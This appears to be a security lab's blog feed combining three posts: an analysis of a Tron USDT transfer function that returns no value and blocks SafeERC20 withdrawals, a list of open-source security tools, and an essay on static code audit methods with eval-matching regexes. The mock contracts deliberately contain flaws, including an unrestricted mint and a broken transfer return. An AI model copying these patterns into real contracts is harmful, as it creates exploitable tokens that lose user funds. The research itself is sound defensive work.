    }
}

contract USDT_Tron is IERC20 {
    using SafeMath for uint256;

    uint256 internal _totalSupply;

    mapping(address =&gt; uint256) internal _balances;
    mapping (address =&gt; mapping (address =&gt; uint)) private _allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint value);

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
    }

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) external view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function mint(address account, uint amount) external {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {
        require(_to != address(0));
        require(_value &lt;= _balances[msg.sender]);

        _balances[_from] = _balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");
        _balances[_to] = _balances[_to].add(_value);
        emit Transfer(_from, _to, _value);
        return true;
    }
    function transfer(address to, uint value) public returns (bool) {
        _transfer(msg.sender, to, value);
        //return true;//无显式return,默认返回false
    }
    function transferFrom(address from, address to, uint value) public returns (bool) {
        _transfer(from, to, value);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(value, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
}

Myrose模拟测试合约代码如下:

pragma solidity ^0.5.0;

import "IERC20.sol";
import "Address.sol";
import "SafeERC20.sol";
import "SafeMath.sol";

contract Test {
    using Address for address;
    using SafeERC20 for IERC20;
    using SafeMath for uint256;

    uint256 internal _totalSupply;
    mapping(address =&gt; uint256) internal _balances;

    constructor() public {
        _totalSupply = 1 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }

    function withdraw(address yAddr,uint256 amount) public {
        _totalSupply = _totalSupply.sub(amount);
        _balances[msg.sender] = _balances[msg.sender].sub(amount);
        IERC20 y = IERC20(yAddr);
        y.safeTransfer(msg.sender, amount);
    }
}

Remix部署USDT_EthereumUSDT_TronTest三个合约。

调用USDT_Ethereum和USDT_Tron的mint函数给Test合约地址增添一些代币。

然后调用Test合约的withdraw函数提现测试。

success-and-false

可以看到USDT_Ethereum提现成功,USDT_Tron提现失败。

失败的回滚信息中,正是safeTransfer函数中对最后返回值的校验。

function safeTransfer(IERC20 token, address to, uint value) internal {
    callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}

function callOptionalReturn(IERC20 token, bytes memory data) private {
    require(address(token).isContract(), "SafeERC20: call to non-contract");

    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory returndata) = address(token).call(data);
    require(success, "SafeERC20: low-level call failed");

    if (returndata.length &gt; 0) { // Return data is optional
        // solhint-disable-next-line max-line-length
        require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");//require校验返回的bool数值,false则回滚,提示操作失败
    }
}

Missing Return Value Bug

上文的合约模拟实验揭示了以太坊与波场两个不同平台下USDT代币合约中transfer函数关于返回值处理差异性带来的安全风险,而关于"missing return value bug"这一个问题,早在2018年就有研究人员在Medium上公开讨论过,只不过是针对以太坊的,这里对以太坊中的"missing return value bug"问题做一个简单的介绍:

ERC20标准是以太坊平台上最常见的Token标准,ERC20被定义为一个接口,该接口指定在符合ERC20的智能合同中必须实现哪些功能和事件。目前,主要的接口如下所示:

interface ERC20Interface {

    function totalSupply() external constant returns (uint);
    function balanceOf(address tokenOwner) external constant returns (uint balance);
    function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
    function transfer(address to, uint tokens) external returns (bool success);
    function approve(address spender, uint tokens) external returns (bool success);
    function transferFrom(address from, address to, uint tokens) external returns (bool success);

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

在ERC20的开发过程中,有研究人员对于ERC20合约中的transfer函数的正确返回值进行了讨论,主要分为两个阵营:一方认为,如果transfer函数允许在调用合约中处理Failed error,那么应该在被调用合约中返回false值,另一方声称,在无法确保安全的情况下,ERC20应该revert交易,关于这个问题在当时被认为都是符合ERC20标准的,并未达成一致。

事实证明,很大比例的ERC20 Token在传递函数的返回值方面表现出了另一种特殊的方式,有些智能合约的Transfer函数不返回任何东西,对应的函数接口大致如下:

interface BadERC20Basic {
  function balanceOf(address who) external constant returns (uint);
  function transfer(address to, uint value) external;
  function allowance(address owner, address spender) external constant returns (uint);
  function transferFrom(address from, address to, uint value) external;
  function approve(address spender, uint value) external;

  event Approval(address indexed owner, address indexed spender, uint value);
  event Transfer(address indexed from, address indexed to, uint value);
}

那么符合ERC20标准的接口的合约试图与不符合ERC20的合约进行交互,会发生什么呢?下面我们通过一个合约示例来做解释说明:

interface Token {
  function transfer() returns (bool);
}

contract GoodToken is Token {
  function transfer() returns (bool) { return true; }
}

contract BadToken {
  function transfer() {}
}

contract Wallet {
  function transfer(address token) {
    require(Token(token).transfer());
  }
}

在solidity中,函数选择器是从它的函数名和输入参数的类型中派生出来的:

selector = bytes4(sha3(“transfer()”))

函数的返回值不是函数选择器的一部分,因此,没有返回值的函数transfer()和函数transfer()返回(bool)具有相同的函数选择器,但它们仍然不同,由于缺少返回值,编译器不会接受transfer()函数作为令牌接口的实现,所以Goodtoken是Token接口的实现,而Badtoken不是。

当我们通过合约去外部调用BadToken时,Bad token会处理该transfer调用,并且不返回布尔返回值,之后调用合约会在内存中查找返回值,但是由于被调用的合约中的Transfer函数没有写返回值,所以它会将在这个内存位置找到的任何内容作为外部调用的返回值。

完全巧合的是,因为调用方期望返回值的内存槽与存储调用的函数选择器的内存槽重叠,这被EVM解释为返回值“真”。因此,完全是运气使然,EVM的表现就像程序员们希望它的表现一样。

自从去年10月拜占庭硬叉以来,EVM有了一个新的操作码,叫做returndatasize,这个操作码存储(顾名思义)外部调用返回数据的大小,这是一个非常有用的操作码,因为它允许在函数调用中返回动态大小的数组。

这个操作码在solidity 0.4.22更新中被采用,现在,代码在外部调用后检查返回值的大小,并在返回数据比预期的短的情况下revert事务,这比从某个内存插槽中读取数据安全得多,但是这种新的行为对于我们的BadToken来说是一个巨大的问题。

如上所述,最大的风险是用solc ≥ 0.4.22编译的智能合约(预期为ERC0接口)将无法与我们的Badtokens交互,这可能意味着发送到这样的合约的Token将永远停留在那里,即使该合约具有转移ERC 20 Token的功能。

类似问题的合约:

{'addr': '0xae616e72d3d89e847f74e8ace41ca68bbf56af79', 'name': 'GOOD', 'decimals': 6}
{'addr': '0x93e682107d1e9defb0b5ee701c71707a4b2e46bc', 'name': 'MCAP', 'decimals': 8}
{'addr': '0xb97048628db6b661d4c2aa833e95dbe1a905b280', 'name': 'PAY', 'decimals': 18}
{'addr': '0x4470bb87d77b963a013db939be332f927f2b992e', 'name': 'ADX', 'decimals': 4}
{'addr': '0xd26114cd6ee289accf82350c8d8487fedb8a0c07', 'name': 'OMG', 'decimals': 18}
{'addr': '0xb8c77482e45f1f44de1745f52c74426c631bdd52', 'name': 'BNB', 'decimals': 18}
{'addr': '0xf433089366899d83a9f26a773d59ec7ecf30355e', 'name': 'MTL', 'decimals': 8}
{'addr': '0xc63e7b1dece63a77ed7e4aeef5efb3b05c81438d', 'name': 'FUCKOLD', 'decimals': 4}
{'addr': '0xab16e0d25c06cb376259cc18c1de4aca57605589', 'name': 'FUCK', 'decimals': 4}
{'addr': '0xe3818504c1b32bf1557b16c238b2e01fd3149c17', 'name': 'PLR', 'decimals': 18}
{'addr': '0xe2e6d4be086c6938b53b22144855eef674281639', 'name': 'LNK', 'decimals': 18}
{'addr': '0x2bdc0d42996017fce214b21607a515da41a9e0c5', 'name': 'SKIN', 'decimals': 6}
{'addr': '0xea1f346faf023f974eb5adaf088bbcdf02d761f4', 'name': 'TIX', 'decimals': 18}
{'addr': '0x177d39ac676ed1c67a2b268ad7f1e58826e5b0af', 'name': 'CDT', 'decimals': 18}

有两种方法可以修复这个错误:

第一种:受影响的Token合约开放团队需要修改他们的合约,这可以通过重新部署Token合约或者更新合约来完成(如果有合约更新逻辑设计)。

第二种:重新包装Bad Transfer函数,对于这种包装有不同的建议,例如:

library ERC20SafeTransfer {
    function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
        // note: both of these could be replaced with manual mstore's to reduce cost if desired
        bytes memory msg = abi.encodeWithSignature("transfer(address,uint256)", _to, _value);
        uint msgSize = msg.length;

        assembly {
            // pre-set scratch space to all bits set
            mstore(0x00, 0xff)

            // note: this requires tangerine whistle compatible EVM
            if iszero(call(gas(), _tokenAddress, 0, add(msg, 0x20), msgSize, 0x00, 0x20)) { revert(0, 0) }

            switch mload(0x00)
            case 0xff {
                // token is not fully ERC20 compatible, didn't return anything, assume it was successful
                success := 1
            }
            case 0x01 {
                success := 1
            }
            case 0x00 {
                success := 0
            }
            default {
                // unexpected value, what could this be?
                revert(0, 0)
            }
        }
    }
}

interface ERC20 {
    function transfer(address _to, uint256 _value) returns (bool success);
}

contract TestERC20SafeTransfer {
    using ERC20SafeTransfer for ERC20;
    function ping(address _token, address _to, uint _amount) {
        require(ERC20(_token).safeTransfer(_to, _amount));
    }
}

另一方面,正在编写ERC 20合约的开发人员需要意识到这个错误,这样他们就可以预料到BadToken的意外行为并处理它们,这可以通过预期BadER 20接口并在调用后检查返回数据来确定我们调用的是Godtoken还是BadToken来实现:

pragma solidity ^0.4.24;

/*
 * WARNING: Proof of concept. Do not use in production. No warranty.
*/

interface BadERC20 {

  function transfer(address to, uint value) external;
}

contract BadERC20Aware {

    function safeTransfer(address token, address to , uint value) public returns (bool result) {
        BadERC20(token).transfer(to,value);

        assembly {
            switch returndatasize()   
                case 0 {                      // This is our BadToken
                    result := not(0)          // result is true
                }
                case 32 {                     // This is our GoodToken
                    returndatacopy(0, 0, 32) 
                    result := mload(0)        // result == returndata of external call
                }
                default {                     // This is not an ERC20 token
                    revert(0, 0) 
                }
        }
    require(result);                          // revert() if result is false
    }
}

事件总结

造成本次事件的主要原因还是在于波场USDT的transfer函数未使用TIP20规范的写法导致函数在执行时未返回对应的值,最终返回默认的false,从而导致在使用safeTransfer调用USDT的transfer时永远都只返回false,导致用户无法提现。

所以,在波场部署有关USDT的合约,需要注意额外针对USDT合约进行适配,上线前务必做好充足的审计与测试,尽可能减少意外事件的发生


智能合约审计服务

针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:

区块链行业安全解决方案

黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。欢迎扫码咨询:

参考链接

[1] Missing-Return-Value-Bug
https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1337/

]]>
https://blog.knownsec.com/2020/11/%e6%b3%a2%e5%9c%ba-defi-%e9%a1%b9%e7%9b%ae-myrose-%e6%97%a0%e6%b3%95%e6%8f%90%e7%8e%b0-usdt-%e6%8a%80%e6%9c%af%e5%88%86%e6%9e%90/feed/ 0
404 StarLink Project – 404星链计划二期 https://blog.knownsec.com/2020/11/404-starlink-project-404%e6%98%9f%e9%93%be%e8%ae%a1%e5%88%92%e4%ba%8c%e6%9c%9f/ https://blog.knownsec.com/2020/11/404-starlink-project-404%e6%98%9f%e9%93%be%e8%ae%a1%e5%88%92%e4%ba%8c%e6%9c%9f/#respond Tue, 03 Nov 2020 02:54:41 +0000 https://blog.knownsec.com/?p=5131 作者:知道创宇404实验室
时间:2020年9月21日

“404星链计划”是知道创宇404实验室于2020年8月开始的计划,旨在通过开源或者开放的方式,长期维护并推进涉及安全研究各个领域不同环节的工具化,就像星链一样,将立足于不同安全领域、不同安全环节的研究人员链接起来。

其中不仅限于突破安全壁垒的大型工具,也会包括涉及到优化日常使用体验的各种小工具,除了404自研的工具开放以外,也会不断收集安全研究、渗透测试过程中的痛点,希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题,营造一个更好更开放的安全工具促进与交流的技术氛围。

项目地址: - https://github.com/knownsec/404StarLink-Project

Contents

  • Project
    • KunLun-M
      • Kunlun-Mirror. Focus on white box tools used by security researchers
    • LBot
      • A simple xss bot template
    • ksubdomain
      • the fastest subdomain enumeration tool
    • Zoomeye Tools
      • the Chrome extension with Zoomeye
    • Pocsuite3
      • pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.
    • Zoomeye SDK
      • ZoomEye API SDK
    • wam
      • WAM is a platform powered by Python to monitor "Web App"
  • Minitools
    • bin_extractor
      • A simple script for quickly mining sensitive information in binary files.
    • CookieTest
      • A script used to quickly test APIs or required parameters and cookies for a certain request.
    • ipstatistics
      • ipstatistics is a script based on the ipip library that is used to quickly filter the ip list.
    • cidrgen
      • cidrgen is based on cidr's subnet IP list generator

Project

该分类下主要聚合各类安全工具,偏向于可用性较高的完整项目。

KunLun-M

项目链接:

https://github.com/LoRexxar/Kunlun-M

项目简述:

Kunlun-Mirror是从Cobra-W2.0发展而来,在经历了痛苦的维护改进原工具之后,昆仑镜将工具的发展重心放在安全研究员的使用上,将会围绕工具化使用不断改进使用体验。

目前工具主要支持php、javascript的语义分析,以及chrome ext, solidity的基础扫描.

KunLun-M可能是市面上唯一的开源并长期维护的自动化代码审计工具,希望开源工具可以推动白盒审计的发展:>.

LBot

项目链接:

https://github.com/knownsec/LBot

项目简述:

XSS Bot是CTF比赛中出XSS的一大门槛,后端性能不够,环境处理不完善各种都会影响到Bot的每一环。

LBot是脱胎于爬虫的简单模板,配合相应的功能,可以方便快捷的完成一个成熟的Bot。

Minitools

该分类下主要聚合各类安全研究过程中涉及到的小工具、脚本,旨在优化日常安全自动化的使用体验。

bin_extractor

项目链接:

https://github.com/knownsec/Minitools-bin_extractor

项目简述:

一个简单的用于快速挖掘二进制文件中敏感信息的脚本。可以用来快速挖掘并验证二进制文件中的url链接等敏感信息。

CookieTest

项目链接:

https://github.com/knownsec/Minitools-CookieTest

项目简述:

用于快速测试api或某个请求的必选参数、cookie的脚本。可以用来快速确认某个api的必选参数以便进一步测试渗透等.


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1341/

]]>
https://blog.knownsec.com/2020/11/404-starlink-project-404%e6%98%9f%e9%93%be%e8%ae%a1%e5%88%92%e4%ba%8c%e6%9c%9f/feed/ 0
从0开始聊聊自动化静态代码审计工具 https://blog.knownsec.com/2020/11/%e4%bb%8e0%e5%bc%80%e5%a7%8b%e8%81%8a%e8%81%8a%e8%87%aa%e5%8a%a8%e5%8c%96%e9%9d%99%e6%80%81%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e5%b7%a5%e5%85%b7/ https://blog.knownsec.com/2020/11/%e4%bb%8e0%e5%bc%80%e5%a7%8b%e8%81%8a%e8%81%8a%e8%87%aa%e5%8a%a8%e5%8c%96%e9%9d%99%e6%80%81%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e5%b7%a5%e5%85%b7/#respond Tue, 03 Nov 2020 02:53:37 +0000 https://blog.knownsec.com/?p=5129 作者:LoRexxar'@知道创宇404实验室
时间:2020年9月21日

英文版:https://paper.seebug.org/1345/

前言

自从人类发明了工具开始,人类就在不断为探索如何更方便快捷的做任何事情,在科技发展的过程中,人类不断地试错,不断地思考,于是才有了现代伟大的科技时代。在安全领域里,每个安全研究人员在研究的过程中,也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中自动化代码审计就是安全自动化绕不过去的坎。

这一次我们就一起聊聊自动化代码审计的发展史,也顺便聊聊如何完成一个自动化静态代码审计的关键。

自动化代码审计

在聊自动化代码审计工具之前,首先我们必须要清楚两个概念,漏报率误报率
漏报率是指没有发现的漏洞/Bug
误报率是指发现了错误的漏洞/Bug

在评价下面的所有自动化代码审计工具/思路/概念时,所有的评价标准都离不开这两个词,如何消除这两点或是其中之一也正是自动化代码审计发展的关键点。

我们可以简单的把自动化代码审计(这里我们讨论的是白盒)分为两类,一类是动态代码审计工具,另一类是静态代码审计工具。

动态代码审计的特点与局限

动态代码审计工具的原理主要是基于在代码运行的过程中进行处理并挖掘漏洞。我们一般称之为IAST(interactive Application Security Testing)。

其中最常见的方式就是通过某种方式Hook恶意函数或是底层api并通过前端爬虫判别是否触发恶意函数来确认漏洞。

我们可以通过一个简单的流程图来理解这个过程。

在前端Fuzz的过程中,如果Hook函数被触发,并满足某种条件,那么我们认为该漏洞存在。

这类扫描工具的优势在于,通过这类工具发现的漏洞误报率比较低,且不依赖代码,一般来说,只要策略足够完善,能够触发到相应恶意函数的操作都会相应的满足某种恶意操作。而且可以跟踪动态调用也是这种方法最主要的优势之一。

但随之而来的问题也逐渐暴露出来:
(1) 前端Fuzz爬虫可以保证对正常功能的覆盖率,却很难保证对代码功能的覆盖率。

如果曾使用动态代码审计工具对大量的代码扫描,不难发现,这类工具针对漏洞的扫描结果并不会比纯黑盒的漏洞扫描工具有什么优势,其中最大的问题主要集中在功能的覆盖度上。

一般来说,你很难保证开发完成的所有代码都是为网站的功能服务的,也许是在版本迭代的过程中不断地冗余代码被遗留下来,也有可能是开发人员根本没有意识到他们写下的代码并不只是会按照预想的样子执行下去。有太多的漏洞都无法直接的从前台的功能处被发现,有些甚至可能需要满足特定的环境、特定的请求才能触发。这样一来,代码的覆盖率得不到保证,又怎么保证能发现漏洞呢?

(2) 动态代码审计对底层以及hook策略依赖较强

由于动态代码审计的漏洞判别主要依赖Hook恶意函数,那么对于不同的语言、不同的平台来说,动态代码审计往往要针对设计不同的hook方案。如果Hook的深度不够,一个深度框架可能就无法扫描了。

拿PHP举例子来说,比较成熟的Hook方案就是通过PHP插件实现,具体的实现方案可以参考。

由于这个原因影响,一般的动态代码审计很少可以同时扫描多种语言,一般来说都是针对某一种语言。

其次,Hook的策略也需要许多不同的限制以及处理。就拿PHP的XSS来举例子,并不是说一个请求触发了echo函数就应该判别为XSS。同样的,为了不影响正常功能,并不是echo函数参数中包含<script>就可以算XSS漏洞。在动态代码审计的策略中,需要有更合理的前端->Hook策略判别方案,否则会出现大量的误报。

除了前面的问题以外,对环境的强依赖、对执行效率的需求、难以和业务代码结合的各种问题也确切的存在着。当动态代码审计的弊端不断被暴露出来后,从笔者的角度来看,动态代码审计存在着原理本身与问题的冲突,所以在自动化工具的发展过程中,越来越多的目光都放回了静态代码审计上(SAST).

静态代码审计工具的发展

静态代码审计主要是通过分析目标代码,通过纯静态的手段进行分析处理,并挖掘相应的漏洞/Bug.

与动态不同,静态代码审计工具经历了长期的发展与演变过程,下面我们就一起回顾一下(下面的每个时期主要代表的相对的发展期,并不是比较绝对的诞生前后):

上古时期 - 关键字匹配

如果我问你“如果让你设计一个自动化代码审计工具,你会怎么设计?”,我相信,你一定会回答我,可以尝试通过匹配关键字。紧接着你也会迅速意识到通过关键字匹配的问题。

这里我们拿PHP做个简单的例子。

虽然我们匹配到了这个简单的漏洞,但是很快发现,事情并没有那么简单。

也许你说你可以通过简单的关键字重新匹配到这个问题。

\beval\(\$

但是可惜的是,作为安全研究员,你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择:

  • 高覆盖性 – 宁错杀不放过

这类工具最经典的就是Seay,通过简单的关键字来匹配经可能多的目标,之后使用者可以通过人工审计的方式进一步确认。

\beval\b\(
  • 高可用性 – 宁放过不错杀

这类工具最经典的是Rips免费版

\beval\b\(\$_(GET|POST)

用更多的正则来约束,用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。

但问题显而易见,高覆盖性和高可用性是这种实现方法永远无法解决的硬伤,不但维护成本巨大,而且误报率和漏报率也是居高不下。所以被时代所淘汰也是历史的必然。

近代时期 - 基于AST的代码分析

有人忽略问题,也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯,你也就没办法通过任何制式的匹配来确认漏洞,那么基于AST的代码审计方式就诞生了,开发人员是不同的,但编译器是相同的。

在分享这种原理之前,我们首先可以复现一下编译原理。拿PHP代码举例子:

随着PHP7的诞生,AST也作为PHP解释执行的中间层出现在了编译过程的一环。

通过词法分析和语法分析,我们可以将任意一份代码转化为AST语法树。常见的语义分析库可以参考:

当我们得到了一份AST语法树之后,我们就解决了前面提到的关键字匹配最大的问题,至少我们现在对于不同的代码,都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。

在理解如何分析AST语法树之前,我们首先要明白information flow、source、sink三个概念,

  • source: 我们可以简单的称之为输入,也就是information flow的起点
  • sink: 我们可以称之为输出,也就是information flow的终点

而information flow,则是指数据在source到sink之间流动的过程。

把这个概念放在PHP代码审计过程中,Source就是指用户可控的输入,比如$_GET、$_POST等,而Sink就是指我们要找到的敏感函数,比如echo、eval,如果某一个Source到Sink存在一个完整的流,那么我们就可以认为存在一个可控的漏洞,这也就是基于information flow的代码审计原理。

在明白了基础原理的基础上,我举几个简单的例子:

在上面的分析过程中,Sink就是eval函数,source就是$_GET,通过逆向分析Sink的来源,我们成功找到了一条流向Sink的information flow,也就成功发现了这个漏洞。

ps: 当然也许会有人好奇为什么选择逆向分析流而不是正向分析流,这个问题会在后续的分析过程中不断渗透,慢慢就可以明白其关键点。

在分析information flow的过程中,明确作用域是基础中的基础.这也是分析information flow的关键,我们可以一起看看一段简单的代码

如果我们很简单的通过左右值去回溯,而没有考虑到函数定义的话,我们很容易将流定义为:

这样我们就错误的把这段代码定义成了存在漏洞,但很显然并不是,而正确的分析流程应该是这样的:

在这段代码中,从主语法树的作用域跟到Get函数的作用域,如何控制这个作用域的变动,就是基于AST语法树分析的一大难点,当我们在代码中不可避免的使用递归来控制作用域时,在多层递归中的统一标准也就成了分析的基础核心问题。

事实上,即便你做好了这个最简单的基础核心问题,你也会遇到层出不穷的问题。这里我举两个简单的例子

(1) 新函数封装

这是一段很经典的代码,敏感函数被封装成了新的敏感函数,参数是被二次传递的。为了解决,这样information flow的方向从逆向->正向的问题。

通过新建大作用域来控制作用域。

(2) 多重调用链

这是一段有漏洞的JS代码,人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现整个流程中涉及到了多种流向。

这里我用红色和黄色代表了流的两种流向。要解决这个问题只能通过针对类/字典变量的特殊回溯才能解决。

如果说,前面的两个问题是可以被解决的话,还有很多问题是没办法被解决的,这里举一个简单的例子。

这是一个典型的全局过滤,人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中,当回溯到Source为$_GET['a']时,已经满足了从Source到sink的information flow。已经被识别为漏洞。一个典型的误报就出现了。

而基于AST的自动化代码审计工具也正是在与这样的问题做博弈,从PHP自动化代码审计中比较知名的Rips、Cobra再到我自己二次开发的Cobra-W.

都是在不同的方式方法上,优化information flow分析的结果,而最大的区别则是离不开的高可用性、高覆盖性两点核心。

  • Cobra是由蘑菇街安全团队开发的侧重甲方的静态自动化代码扫描器,低漏报率是这类工具的核心,因为甲方不能承受没有发现的漏洞的后果,这也是这类工具侧重优化的关键。

在我发现没有可能完美的回溯出每一条流的过程之后,我将工具的定位放在白帽子自用上,从开始的Cobra-W到后期的KunLun-M,我都侧重在低误报率上,只有准确可靠的流我才会认可,否则我会将他标记为疑似漏洞,并在多环定制了自定义功能以及详细的log日志,以便安全研究人员在使用的过程中可以针对目标多次优化扫描。

对于基于AST的代码分析来说,最大的挑战在于没人能保证自己完美的处理所有的AST结构,再加上基于单向流的分析方式,无法应对100%的场景,这也正是这类工具面临的问题(或者说,这也就是为什么选择逆向的原因)。

基于IR/CFG的代码分析

如果深度了解过基于AST的代码分析原理的话,不然发现AST的许多弊端。首先AST是编译原理中IR/CFG的更上层,其ast中保存的节点更接近源代码结构。

也就是说,分析AST更接近分析代码,换句话就是说基于AST的分析得到的流,更接近脑子里对代码执行里的流程,忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件,这也是基于AST的代码分析的普遍解决方案,当然,从结果论上很难辨别忽略带来的后果。所以基于IR/CFG这类带有控制流的解决方案,是现在更主流的代码分析方案,但不是唯一

首先我们得知道什么是IR/CFG。 - IR:是一种类似于汇编语言的线性代码,其中各个指令按照顺序执行。其中现在主流的IR是三地址码(四元组) - CFG: (Control flow graph)控制流图,在程序中最简单的控制流单位是一个基本块,在CFG中,每一个节点代表一个基本块,每一个边代表一个可控的控制转移,整个CFG代表了整个代码的的控制流程图。

一般来说,我们需要遍历IR来生成CFG,其中需要按照一定的规则,不过不属于这里的主要内容就暂且不提。当然,你也可以用AST来生成CFG,毕竟AST是比较高的层级。

而基于CFG的代码分析思路优势在于,对于一份代码来说,你首先有了一份控制流图(或者说是执行顺序),然后才到漏洞挖掘这一步。比起基于AST的代码分析来说,你只需要专注于从Source到Sink的过程即可

建立在控制流图的基础上,后续的分析流程与AST其实别无太大的差别,挑战的核心仍然维持在如何控制流,维持作用域,处理程序逻辑的分支过程,确认Source与Sink。

理所当然的是,既然存在基于AST的代码分析,又存在基于CFG的代码分析,自然也存在其他的种类。比如现在市场上主流的fortify,Checkmarx,Coverity包括最新的Rips都使用了自己构造的语言的某一个中间部分,比如fortify和Coverity就需要对源码编译的某一个中间语言进行分析。前段时间被阿里收购的源伞甚至实现了多种语言生成统一的IR,这样一来对于新语言的扫描支持难度就变得大大减少了。

事实上,无论是基于AST、CFG或是某个自制的中间语言,现代代码分析思路也变得清晰起来,针对统一的数据结构已经成了现代代码分析的基础。

未来 - QL概念的出现

QL指的是一种面向对象的查询语言,用于从关系数据库中查询数据的语言。我们常见的SQL就属于一种QL,一般用于查询存储在数据库中的数据。

而在代码分析领域,Semmle QL是最早诞生的QL语言,他最早被应用于LGTM,并被用于Github内置的安全扫描为大众免费提供。紧接着,CodeQL也被开发出来,作为稳定的QL框架在github社区化。

那么什么是QL呢?QL又和代码分析有什么关系呢?

首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么?无论是基于哪种中间件建立的代码分析流程,都离不开3个概念,流、Source、Sink,这类代码分析的原理无论是正向还是逆向,都是通过在Source和Sink中寻找一条流。而这条流的建立围绕的是代码执行的流程,就好像编译器编译运行一样,程序总是流式运行的。这种分析的方式就是数据流分析(Data Flow)。

而QL就是把这个流的每一个环节具象化,把每个节点的操作具像成状态的变化,并且储存到数据库中。这样一来,通过构造QL语言,我们就能找到满足条件的节点,并构造成流。下面我举一个简单的例子来说:

&lt;?php

$a = $_GET['a'];
$b = htmlspecialchars($a);

echo $b;

我们简单的把前面的流写成一个表达式

echo => $_GET.is_filterxss

这里is_filterxss被认为是输入$_GET的一个标记,在分析这类漏洞的时候,我们就可以直接用QL表达

select * where {
    Source : $_GET,
    Sink : echo,
    is_filterxss : False,
}

我们就可以找到这个漏洞(上面的代码仅为伪代码),从这样的一个例子我们不难发现,QL其实更接近一个概念,他鼓励将信息流具象化,这样我们就可以用更通用的方式去写规则筛选。

也正是建立在这个基础上,CodeQL诞生了,它更像是一个基础平台,让你不需要在操心底层逻辑,使用AST还是CFG又或是某种平台,你可以将自动化代码分析简化约束为我们需要用怎么样的规则来找到满足某个漏洞的特征。这个概念也正是现代代码分析主流的实现思路,也就是将需求转嫁到更上层。

聊聊KunLun-M

与大多数的安全研究人员一样,我从事的工作涉及到大量的代码审计工作,每次审计一个新的代码或者框架,我都需要花费大量的时间成本熟悉调试,在最初接触到自动化代码审计时,也正是希望能帮助我节省一些时间。

我接触到的第一个项目就是蘑菇街团队的Cobra

这应该是最早开源的甲方自动化代码审计工具,除了一些基础的特征扫描,也引入了AST分析作为辅助手段确认漏洞。

在使用的过程中,我发现Cobra初版在AST上的限制实在太少了,甚至include都没支持(当时是2017年),于是我魔改出了Cobra-W,并删除了其中大量的开源漏洞扫描方案(例如扫描java的低版本包),以及我用不上的甲方需求等...并且深度重构了AST回溯部分(超过上千行代码),重构了底层的逻辑使之兼容windows。

在长期的使用过程中,我遇到了超多的问题与场景(我为了复现Bug写的漏洞样例就有十几个文件夹),比较简单的就比如前面漏洞样例里提到的新函数封装,最后新加了大递归逻辑去新建扫描任务才解决。还有遇到了Hook的全局输入、自实现的过滤函数、分支循环跳转流程等各类问题,其中我自己新建的Issue就接近40个...

为了解决这些问题,我照着phply的底层逻辑,重构了相应的语法分析逻辑。添加了Tamper的概念用于解决自实现的过滤函数。引入了python3的异步逻辑优化了扫描流程等...

也正是在维护的过程中,我逐渐学习到现在主流的基于CFG的代码分析流程,也发现我应该基于AST自实现了一个CFG分析逻辑...直到后来Semmle QL的出现,我重新认识到了数据流分析的概念,这些代码分析的概念在维护的过程中也在不断地影响着我。

在2020年9月,我正式将Cobra-W更名为KunLun-M,在这一版本中,我大量的剔除了正则+AST分析的逻辑,因为这个逻辑违背了流式分析的基础,然后新加了Sqlite作为数据库,添加了Console模式便于使用,同时也公开了我之前开发的有关javascript代码的部分规则。

